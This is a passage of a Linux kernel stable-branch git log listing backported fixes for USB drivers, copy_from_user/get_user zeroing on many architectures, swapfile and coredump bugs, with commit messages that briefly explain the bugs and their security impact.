    The current tiocmget implementation would fail to report errors up the
    stack and instead leaked a few bits from the stack as a mask of
    modem-status flags.
    
    Fixes: 39a66b8d22a3 ("[PATCH] USB: CP2101 Add support for flow control")
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 5c82a634f9d298a8c1c50c2fdf2df7aaf06525b8
Author: Felipe Balbi <felipe.balbi@linux.intel.com>
Date:   Tue Oct 4 15:14:43 2016 +0300

    usb: gadget: function: u_ether: don't starve tx request queue
    
    commit 6c83f77278f17a7679001027e9231291c20f0d8a upstream.
    
    If we don't guarantee that we will always get an
    interrupt at least when we're queueing our very last
    request, we could fall into situation where we queue
    every request with 'no_interrupt' set. This will
    cause the link to get stuck.
    
    The behavior above has been triggered with g_ether
    and dwc3.
    
    Reported-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
    Signed-off-by: Felipe Balbi <felipe.balbi@linux.intel.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit de57bad7f7a9451e6ba5a20dc859f47cac888c8e
Author: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Date:   Mon Sep 19 19:09:51 2016 +0100

    usb: misc: legousbtower: Fix NULL pointer deference
    
    commit 2fae9e5a7babada041e2e161699ade2447a01989 upstream.
    
    This patch fixes a NULL pointer dereference caused by a race codition in
    the probe function of the legousbtower driver. It re-structures the
    probe function to only register the interface after successfully reading
    the board's firmware ID.
    
    The probe function does not deregister the usb interface after an error
    receiving the devices firmware ID. The device file registered
    (/dev/usb/legousbtower%d) may be read/written globally before the probe
    function returns. When tower_delete is called in the probe function
    (after an r/w has been initiated), core dev structures are deleted while
    the file operation functions are still running. If the 0 address is
    mappable on the machine, this vulnerability can be used to create a
    Local Priviege Escalation exploit via a write-what-where condition by
    remapping dev->interrupt_out_buffer in tower_write. A forged USB device
    and local program execution would be required for LPE. The USB device
    would have to delay the control message in tower_probe and accept
    the control urb in tower_open whilst guest code initiated a write to the
    device file as tower_delete is called from the error in tower_probe.
    
    This bug has existed since 2003. Patch tested by emulated device.
    
    Reported-by: James Patrick-Evans <james@jmp-e.com>
    Tested-by: James Patrick-Evans <james@jmp-e.com>
    Signed-off-by: James Patrick-Evans <james@jmp-e.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 98e0190b97f01c1a2c6b0a06882e1423218d2b19
Author: Konstantin Shkolnyy <konstantin.shkolnyy@gmail.com>
Date:   Wed May 4 16:56:52 2016 -0500

    USB: serial: cp210x: fix hardware flow-control disable
    
    commit a377f9e906af4df9071ba8ddba60188cb4013d93 upstream.
    
    A bug in the CRTSCTS handling caused RTS to alternate between
    
    CRTSCTS=0 => "RTS is transmit active signal" and
    CRTSCTS=1 => "RTS is used for receive flow control"
    
    instead of
    
    CRTSCTS=0 => "RTS is statically active" and
    CRTSCTS=1 => "RTS is used for receive flow control"
    
    This only happened after first having enabled CRTSCTS.
    
    Signed-off-by: Konstantin Shkolnyy <konstantin.shkolnyy@gmail.com>
    Fixes: 39a66b8d22a3 ("[PATCH] USB: CP2101 Add support for flow control")
    [johan: reword commit message ]
    Signed-off-by: Johan Hovold <johan@kernel.org>
    [johan: backport to 4.4 ]
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit e51960fc4ac954d12a2fffd0f27bc3c2dd5bfd2a
Author: Dan Carpenter <dan.carpenter@oracle.com>
Date:   Fri Jul 15 14:15:47 2016 +0300

    usb: gadget: fsl_qe_udc: signedness bug in qe_get_frame()
    
    commit f4693b08cc901912a87369c46537b94ed4084ea0 upstream.
    
    We can't assign -EINVAL to a u16.
    
    Fixes: 3948f0e0c999 ('usb: add Freescale QE/CPM USB peripheral controller driver')
    Acked-by: Peter Chen <peter.chen@nxp.com>
    Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
    Signed-off-by: Felipe Balbi <felipe.balbi@linux.intel.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 48091078f774a0e49ae6e2f14c9d02e9926d286a
Author: Alan Stern <stern@rowland.harvard.edu>
Date:   Fri Sep 16 10:24:26 2016 -0400

    USB: change bInterval default to 10 ms
    
    commit 08c5cd37480f59ea39682f4585d92269be6b1424 upstream.
    
    Some full-speed mceusb infrared transceivers contain invalid endpoint
    descriptors for their interrupt endpoints, with bInterval set to 0.
    In the past they have worked out okay with the mceusb driver, because
    the driver sets the bInterval field in the descriptor to 1,
    overwriting whatever value may have been there before.  However, this
    approach was never sanctioned by the USB core, and in fact it does not
    work with xHCI controllers, because they use the bInterval value that
    was present when the configuration was installed.
    
    Currently usbcore uses 32 ms as the default interval if the value in
    the endpoint descriptor is invalid.  It turns out that these IR
    transceivers don't work properly unless the interval is set to 10 ms
    or below.  To work around this mceusb problem, this patch changes the
    endpoint-descriptor parsing routine, making the default interval value
    be 10 ms rather than 32 ms.
    
    Signed-off-by: Alan Stern <stern@rowland.harvard.edu>
    Tested-by: Wade Berrier <wberrier@gmail.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 096a685031061eee35dac0d05c39d163898b35f2
Author: Yoshihiro Shimoda <yoshihiro.shimoda.uh@renesas.com>
Date:   Mon Aug 29 18:00:38 2016 +0900

    usb: renesas_usbhs: fix clearing the {BRDY,BEMP}STS condition
    
    commit 519d8bd4b5d3d82c413eac5bb42b106bb4b9ec15 upstream.
    
    The previous driver is possible to stop the transfer wrongly.
    For example:
     1) An interrupt happens, but not BRDY interruption.
     2) Read INTSTS0. And than state->intsts0 is not set to BRDY.
     3) BRDY is set to 1 here.
     4) Read BRDYSTS.
     5) Clear the BRDYSTS. And then. the BRDY is cleared wrongly.
    
    Remarks:
     - The INTSTS0.BRDY is read only.
      - If any bits of BRDYSTS are set to 1, the BRDY is set to 1.
      - If BRDYSTS is 0, the BRDY is set to 0.
    
    So, this patch adds condition to avoid such situation. (And about
    NRDYSTS, this is not used for now. But, avoiding any side effects,
    this patch doesn't touch it.)
    
    Fixes: d5c6a1e024dd ("usb: renesas_usbhs: fixup interrupt status clear method")
    Signed-off-by: Yoshihiro Shimoda <yoshihiro.shimoda.uh@renesas.com>
    Signed-off-by: Felipe Balbi <felipe.balbi@linux.intel.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 65c2174a9aa09d324db4122bbe2cb193dceaaf99
Author: Alexey Khoroshilov <khoroshilov@ispras.ru>
Date:   Fri Aug 12 01:05:09 2016 +0300

    USB: serial: mos7840: fix non-atomic allocation in write path
    
    commit 3b7c7e52efda0d4640060de747768360ba70a7c0 upstream.
    
    There is an allocation with GFP_KERNEL flag in mos7840_write(),
    while it may be called from interrupt context.
    
    Follow-up for commit 191252837626 ("USB: kobil_sct: fix non-atomic
    allocation in write path")
    
    Found by Linux Driver Verification project (linuxtesting.org).
    
    Signed-off-by: Alexey Khoroshilov <khoroshilov@ispras.ru>
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 0da16733d9bf987a7ea8f3ca464669d22a0902e7
Author: Alexey Khoroshilov <khoroshilov@ispras.ru>
Date:   Fri Aug 12 01:05:08 2016 +0300

    USB: serial: mos7720: fix non-atomic allocation in write path
    
    commit 5a5a1d614287a647b36dff3f40c2b0ceabbc83ec upstream.
    
    There is an allocation with GFP_KERNEL flag in mos7720_write(),
    while it may be called from interrupt context.
    
    Follow-up for commit 191252837626 ("USB: kobil_sct: fix non-atomic
    allocation in write path")
    
    Found by Linux Driver Verification project (linuxtesting.org).
    
    Signed-off-by: Alexey Khoroshilov <khoroshilov@ispras.ru>
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 8919643331e6921be58b9718652588c55583b9dd
Author: Johan Hovold <johan@kernel.org>
Date:   Wed Oct 29 09:07:30 2014 +0100

    USB: kobil_sct: fix non-atomic allocation in write path
    
    commit 191252837626fca0de694c18bb2aa64c118eda89 upstream
    
    Write may be called from interrupt context so make sure to use
    GFP_ATOMIC for all allocations in write.
    
    Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
    Cc: stable <stable@vger.kernel.org>
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit dd33a40aabc430f7af56df753ec042494a8324ed
Author: Alexey Klimov <klimov.linux@gmail.com>
Date:   Mon Aug 8 02:34:46 2016 +0100

    USB: serial: fix memleak in driver-registration error path
    
    commit 647024a7df36014bbc4479d92d88e6b77c0afcf6 upstream.
    
    udriver struct allocated by kzalloc() will not be freed
    if usb_register() and next calls fail. This patch fixes this
    by adding one more step with kfree(udriver) in error path.
    
    Signed-off-by: Alexey Klimov <klimov.linux@gmail.com>
    Acked-by: Alan Stern <stern@rowland.harvard.edu>
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 124253f7f54b772ea5178b2ec1d90f971a624bb0
Author: Jim Lin <jilin@nvidia.com>
Date:   Tue Aug 16 10:18:05 2016 +0300

    usb: xhci: Fix panic if disconnect
    
    commit 88716a93766b8f095cdef37a8e8f2c93aa233b21 upstream.
    
    After a device is disconnected, xhci_stop_device() will be invoked
    in xhci_bus_suspend().
    Also the "disconnect" IRQ will have ISR to invoke
    xhci_free_virt_device() in this sequence.
    xhci_irq -> xhci_handle_event -> handle_cmd_completion ->
    xhci_handle_cmd_disable_slot -> xhci_free_virt_device
    
    If xhci->devs[slot_id] has been assigned to NULL in
    xhci_free_virt_device(), then virt_dev->eps[i].ring in
    xhci_stop_device() may point to an invlid address to cause kernel
    panic.
    
    virt_dev = xhci->devs[slot_id];
    :
    if (virt_dev->eps[i].ring && virt_dev->eps[i].ring->dequeue)
    
    [] Unable to handle kernel paging request at virtual address 00001a68
    [] pgd=ffffffc001430000
    [] [00001a68] *pgd=000000013c807003, *pud=000000013c807003,
    *pmd=000000013c808003, *pte=0000000000000000
    [] Internal error: Oops: 96000006 [#1] PREEMPT SMP
    [] CPU: 0 PID: 39 Comm: kworker/0:1 Tainted: G     U
    [] Workqueue: pm pm_runtime_work
    [] task: ffffffc0bc0e0bc0 ti: ffffffc0bc0ec000 task.ti:
    ffffffc0bc0ec000
    [] PC is at xhci_stop_device.constprop.11+0xb4/0x1a4
    
    This issue is found when running with realtek ethernet device
    (0bda:8153).
    
    Signed-off-by: Jim Lin <jilin@nvidia.com>
    Signed-off-by: Mathias Nyman <mathias.nyman@linux.intel.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit bb9a7c518fda5443d4434f8cf8c2ddd47a2a7666
Author: Alan Stern <stern@rowland.harvard.edu>
Date:   Mon Aug 22 16:58:53 2016 -0400

    USB: fix typo in wMaxPacketSize validation
    
    commit 6c73358c83ce870c0cf32413e5cadb3b9a39c606 upstream.
    
    The maximum value allowed for wMaxPacketSize of a high-speed interrupt
    endpoint is 1024 bytes, not 1023.
    
    Signed-off-by: Alan Stern <stern@rowland.harvard.edu>
    Fixes: aed9d65ac327 ("USB: validate wMaxPacketValue entries in endpoint descriptors")
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 2226a520b3c80d6766ccb3bd09040bb9f47a39c2
Author: Alan Stern <stern@rowland.harvard.edu>
Date:   Mon Aug 1 15:25:56 2016 -0400

    USB: validate wMaxPacketValue entries in endpoint descriptors
    
    commit aed9d65ac3278d4febd8665bd7db59ef53e825fe upstream.
    
    Erroneous or malicious endpoint descriptors may have non-zero bits in
    reserved positions, or out-of-bounds values.  This patch helps prevent
    these from causing problems by bounds-checking the wMaxPacketValue
    entries in endpoint descriptors and capping the values at the maximum
    allowed.
    
    This issue was first discovered and tests were conducted by Jake Lamberson
    <jake.lamberson1@gmail.com>, an intern working for Rosie Hall.
    
    Signed-off-by: Alan Stern <stern@rowland.harvard.edu>
    Reported-by: roswest <roswest@cisco.com>
    Tested-by: roswest <roswest@cisco.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    [wt: adjusted to 3.10 -- no USB_SPEED_SUPER_PLUS]
    
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1cb7105d9bc1019592a3fcff6dbe4d334a7cb3c6
Author: Felipe Balbi <felipe.balbi@linux.intel.com>
Date:   Fri Jul 29 03:17:58 2016 +0300

    usb: dwc3: gadget: increment request->actual once
    
    commit c7de573471832dff7d31f0c13b0f143d6f017799 upstream.
    
    When using SG lists, we would end up setting
    request->actual to:
    
            num_mapped_sgs * (request->length - count)
    
    Let's fix that up by incrementing request->actual
    only once.
    
    Reported-by: Brian E Rogers <brian.e.rogers@intel.com>
    Signed-off-by: Felipe Balbi <felipe.balbi@linux.intel.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit d112852e105c7de6931d3ea7ac8c3bc50649e7c7
Author: Andrey Ryabinin <aryabinin@virtuozzo.com>
Date:   Thu Nov 10 10:46:38 2016 -0800

    coredump: fix unfreezable coredumping task
    
    commit 70d78fe7c8b640b5acfad56ad341985b3810998a upstream.
    
    It could be not possible to freeze coredumping task when it waits for
    'core_state->startup' completion, because threads are frozen in
    get_signal() before they got a chance to complete 'core_state->startup'.
    
    Inability to freeze a task during suspend will cause suspend to fail.
    Also CRIU uses cgroup freezer during dump operation.  So with an
    unfreezable task the CRIU dump will fail because it waits for a
    transition from 'FREEZING' to 'FROZEN' state which will never happen.
    
    Use freezer_do_not_count() to tell freezer to ignore coredumping task
    while it waits for core_state->startup completion.
    
    Link: http://lkml.kernel.org/r/1475225434-3753-1-git-send-email-aryabinin@virtuozzo.com
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Acked-by: Pavel Machek <pavel@ucw.cz>
    Acked-by: Oleg Nesterov <oleg@redhat.com>
    Cc: Alexander Viro <viro@zeniv.linux.org.uk>
    Cc: Tejun Heo <tj@kernel.org>
    Cc: "Rafael J. Wysocki" <rjw@rjwysocki.net>
    Cc: Michal Hocko <mhocko@kernel.org>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit f2dc0d77257c2e938f12c81b6f5d9a0173ca348a
Author: Jann Horn <jann@thejh.net>
Date:   Thu Nov 10 10:46:19 2016 -0800

    swapfile: fix memory corruption via malformed swapfile
    
    commit dd111be69114cc867f8e826284559bfbc1c40e37 upstream.
    
    When root activates a swap partition whose header has the wrong
    endianness, nr_badpages elements of badpages are swabbed before
    nr_badpages has been checked, leading to a buffer overrun of up to 8GB.
    
    This normally is not a security issue because it can only be exploited
    by root (more specifically, a process with CAP_SYS_ADMIN or the ability
    to modify a swap file/partition), and such a process can already e.g.
    modify swapped-out memory of any other userspace process on the system.
    
    Link: http://lkml.kernel.org/r/1477949533-2509-1-git-send-email-jann@thejh.net
    Signed-off-by: Jann Horn <jann@thejh.net>
    Acked-by: Kees Cook <keescook@chromium.org>
    Acked-by: Jerome Marchand <jmarchan@redhat.com>
    Acked-by: Johannes Weiner <hannes@cmpxchg.org>
    Cc: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>
    Cc: Vlastimil Babka <vbabka@suse.cz>
    Cc: Hugh Dickins <hughd@google.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 0ffa1680d4921e4ce7446a4e2166548a0c75e93f
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Tue Nov 8 11:17:00 2016 +0100

    Fix potential infoleak in older kernels
    
    Not upstream as it is not needed there.
    
    So a patch something like this might be a safe way to fix the
    potential infoleak in older kernels.
    
    THIS IS UNTESTED. It's a very obvious patch, though, so if it compiles
    it probably works. It just initializes the output variable with 0 in
    the inline asm description, instead of doing it in the exception
    handler.
    
    It will generate slightly worse code (a few unnecessary ALU
    operations), but it doesn't have any interactions with the exception
    handler implementation.
    
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 89576ff44821454d9e25cfb46632e545e54f352f
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Sat Sep 10 16:31:04 2016 -0400

    arc: don't leak bits of kernel stack into coredump
    
    commit 7798bf2140ebcc36eafec6a4194fffd8d585d471 upstream.
    
    On faulting sigreturn we do get SIGSEGV, all right, but anything
    we'd put into pt_regs could end up in the coredump.  And since
    __copy_from_user() never zeroed on arc, we'd better bugger off
    on its failure without copying random uninitialized bits of
    kernel stack into pt_regs...
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 7bb0f7e616f2b6ef3cf09969d2b6cf66af4554c6
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Sat Sep 17 18:31:46 2016 -0400

    fix memory leaks in tracing_buffers_splice_read()
    
    commit 1ae2293dd6d2f5c823cf97e60b70d03631cd622f upstream.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 138c012118e405ffb9ff480c21c00082c9dbc386
Author: Al Viro <viro@ZenIV.linux.org.uk>
Date:   Tue Sep 20 20:07:42 2016 +0100

    fix fault_in_multipages_...() on architectures with no-op access_ok()
    
    commit e23d4159b109167126e5bcd7f3775c95de7fee47 upstream.
    
    Switching iov_iter fault-in to multipages variants has exposed an old
    bug in underlying fault_in_multipages_...(); they break if the range
    passed to them wraps around.  Normally access_ok() done by callers will
    prevent such (and it's a guaranteed EFAULT - ERR_PTR() values fall into
    such a range and they should not point to any valid objects).
    
    However, on architectures where userland and kernel live in different
    MMU contexts (e.g. s390) access_ok() is a no-op and on those a range
    with a wraparound can reach fault_in_multipages_...().
    
    Since any wraparound means EFAULT there, the fix is trivial - turn
    those
    
        while (uaddr <= end)
                ...
    into
    
        if (unlikely(uaddr > end))
                return -EFAULT;
        do
                ...
        while (uaddr <= end);
    
    Reported-by: Jan Stancek <jstancek@redhat.com>
    Tested-by: Jan Stancek <jstancek@redhat.com>
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1eeb8d13b5e501a072e1b68ae63cac516fd5b34f
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Thu Aug 18 21:31:41 2016 -0400

    ia64: copy_from_user() should zero the destination on access_ok() failure
    
    commit a5e541f796f17228793694d64b507f5f57db4cd7 upstream.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 37b00bc9291ce26e041bca983434cdbc9f3ad201
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Sun Aug 21 19:16:26 2016 -0400

    ppc32: fix copy_from_user()
    
    commit 224264657b8b228f949b42346e09ed8c90136a8e upstream.
    
    should clear on access_ok() failures.  Also remove the useless
    range truncation logics.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 601d2912d55094456f13cdedc1ec1fe34b746b56
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Mon Aug 22 00:23:07 2016 -0400

    sparc32: fix copy_from_user()
    
    commit 917400cecb4b52b5cde5417348322bb9c8272fa6 upstream.
    
    Acked-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 88e42bd1bf70d16e1aa4e510da333d09a3056559
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Sat Aug 20 16:33:10 2016 -0400

    mn10300: copy_from_user() should zero on access_ok() failure...
    
    commit ae7cc577ec2a4a6151c9e928fd1f595d953ecef1 upstream.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 3c5d8c4f2d65be7a36a106e9d97221da46f7c7b6
Author: Guenter Roeck <linux@roeck-us.net>
Date:   Sat Sep 17 12:57:24 2016 -0700

    openrisc: fix the fix of copy_from_user()
    
    commit 8e4b72054f554967827e18be1de0e8122e6efc04 upstream.
    
    Since commit acb2505d0119 ("openrisc: fix copy_from_user()"),
    copy_from_user() returns the number of bytes requested, not the
    number of bytes not copied.
    
    Cc: Al Viro <viro@zeniv.linux.org.uk>
    Fixes: acb2505d0119 ("openrisc: fix copy_from_user()")
    Signed-off-by: Guenter Roeck <linux@roeck-us.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 298c0771fbc5e35ae692c32b3efd5c4eb886c8c4
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Sat Aug 20 17:05:21 2016 -0400

    openrisc: fix copy_from_user()
    
    commit acb2505d0119033a80c85ac8d02dccae41271667 upstream.
    
    ... that should zero on faults.  Also remove the <censored> helpful
    logics wrt range truncation copied from ppc32.  Where it had ever
    been needed only in case of copy_from_user() *and* had not been merged
    into the mainline until a month after the need had disappeared.
    A decade before openrisc went into mainline, I might add...
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit fc1e56cd13545cd821672840e90e230f4f4c8f60
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Sat Aug 20 19:03:37 2016 -0400

    parisc: fix copy_from_user()
    
    commit aace880feea38875fbc919761b77e5732a3659ef upstream.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit d01c959ab25adb73a6531a937a98d54f1be66f26
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Thu Aug 18 22:08:20 2016 -0400

    metag: copy_from_user() should zero the destination on access_ok() failure
    
    commit 8ae95ed4ae5fc7c3391ed668b2014c9e2079533b upstream.
    
    Acked-by: James Hogan <james.hogan@imgtec.com>
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 351a44facc61b93c7f04ebe65c6ea52dba9761d6
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Wed Aug 17 16:02:32 2016 -0400

    alpha: fix copy_from_user()
    
    commit 2561d309dfd1555e781484af757ed0115035ddb3 upstream.
    
    it should clear the destination even when access_ok() fails.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 61e7341c4b7c868ce1dbe20a687661bfab24d432
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Wed Aug 17 16:36:37 2016 -0400

    asm-generic: make copy_from_user() zero the destination properly
    
    commit 2545e5da080b4839dd859e3b09343a884f6ab0e3 upstream.
    
    ... in all cases, including the failing access_ok()
    
    Note that some architectures using asm-generic/uaccess.h have
    __copy_from_user() not zeroing the tail on failure halfway
    through.  This variant works either way.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    [wt: s/might_fault/might_sleep]
    
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit c946f64eb21446454d94213f7bebfddb6f17f05e
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Sat Aug 20 16:18:53 2016 -0400

    mips: copy_from_user() must zero the destination on access_ok() failure
    
    commit e69d700535ac43a18032b3c399c69bf4639e89a2 upstream.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 0ea4b0e2cca3a9b233938b3542400e9d9b41b38b
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Thu Aug 18 21:16:49 2016 -0400

    hexagon: fix strncpy_from_user() error return
    
    commit f35c1e0671728d1c9abc405d05ef548b5fcb2fc4 upstream.
    
    It's -EFAULT, not -1 (and contrary to the comment in there,
    __strnlen_user() can return 0 - on faults).
    
    Acked-by: Richard Kuo <rkuo@codeaurora.org>
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit a6c16ec5a29417fcef420d1d014cc7e82345b371
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Sun Aug 21 23:39:47 2016 -0400

    sh: fix copy_from_user()
    
    commit 6e050503a150b2126620c1a1e9b3a368fcd51eac upstream.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit a0c422b88e049760e3af9dcc74584b383464dcb0
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Sun Aug 21 22:30:44 2016 -0400

    score: fix copy_from_user() and friends
    
    commit b615e3c74621e06cd97f86373ca90d43d6d998aa upstream.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 668a740df2920bcf73ac7964550cae7028e17ea8
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Fri Sep 9 19:16:58 2016 -0400

    blackfin: fix copy_from_user()
    
    commit 8f035983dd826d7e04f67b28acf8e2f08c347e41 upstream.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit b5f6c58b909786ddc77d441d773ba558482611d2
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Thu Aug 18 19:34:00 2016 -0400

    cris: buggered copy_from_user/copy_to_user/clear_user
    
    commit eb47e0293baaa3044022059f1fa9ff474bfe35cb upstream.
    
    * copy_from_user() on access_ok() failure ought to zero the destination
    * none of those primitives should skip the access_ok() check in case of
    small constant size.
    
    Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 233d4b179cdd9440c3437bbeb4281a29772b5eba
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Thu Aug 18 20:54:02 2016 -0400

    frv: fix clear_user()
    
    commit 3b8767a8f00cc6538ba6b1cf0f88502e2fd2eb90 upstream.
    
    It should check access_ok().  Otherwise a bunch of places turn into
    trivially exploitable rootholes.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 44ccf7f165944ddfee863e33feeab32d0c231181
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Wed Aug 17 23:19:01 2016 -0400

    asm-generic: make get_user() clear the destination on errors
    
    commit 9ad18b75c2f6e4a78ce204e79f37781f8815c0fa upstream.
    
    both for access_ok() failures and for faults halfway through
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit df375880c853d9a9c99fa229f862bded0a6254dd
Author: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Date:   Fri Aug 19 12:10:02 2016 -0700

    ARC: uaccess: get_user to zero out dest in cause of fault
    
    commit 05d9d0b96e53c52a113fd783c0c97c830c8dc7af upstream.
    
    Al reported potential issue with ARC get_user() as it wasn't clearing
    out destination pointer in case of fault due to bad address etc.
    
    Verified using following
    
    | {
    |       u32 bogus1 = 0xdeadbeef;
    |       u64 bogus2 = 0xdead;
    |       int rc1, rc2;
    |
    |       pr_info("Orig values %x %llx\n", bogus1, bogus2);
    |       rc1 = get_user(bogus1, (u32 __user *)0x40000000);
    |       rc2 = get_user(bogus2, (u64 __user *)0x50000000);
    |       pr_info("access %d %d, new values %x %llx\n",
    |               rc1, rc2, bogus1, bogus2);
    | }
    
    | [ARCLinux]# insmod /mnt/kernel-module/qtn.ko
    | Orig values deadbeef dead
    | access -14 -14, new values 0 0
    
    Reported-by: Al Viro <viro@ZenIV.linux.org.uk>
    Cc: Linus Torvalds <torvalds@linux-foundation.org>
    Cc: linux-snps-arc@lists.infradead.org
    Cc: linux-kernel@vger.kernel.org
    Signed-off-by: Vineet Gupta <vgupta@synopsys.com>
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit ed98892e36f323058ce203de3f4ea17b507e8b44
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Sun Aug 21 22:00:54 2016 -0400

    s390: get_user() should zero on failure
    
    commit fd2d2b191fe75825c4c7a6f12f3fef35aaed7dd7 upstream.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 60f0190e1114fad523eac306ea6d467fbf59c59d
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Sun Aug 21 22:13:39 2016 -0400

    score: fix __get_user/get_user
    
    commit c2f18fa4cbb3ad92e033a24efa27583978ce9600 upstream.
    
    * should zero on any failure
    * __get_user() should use __copy_from_user(), not copy_from_user()
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 643d0a2d2c3f77454a313c0e7999e1ce9a6363d2
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Sun Aug 21 23:33:47 2016 -0400

    sh64: failing __get_user() should zero
    
    commit c6852389228df9fb3067f94f3b651de2a7921b36 upstream.
    
    It could be done in exception-handling bits in __get_user_b() et.al.,
    but the surgery involved would take more knowledge of sh64 details
    than I have or _want_ to have.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
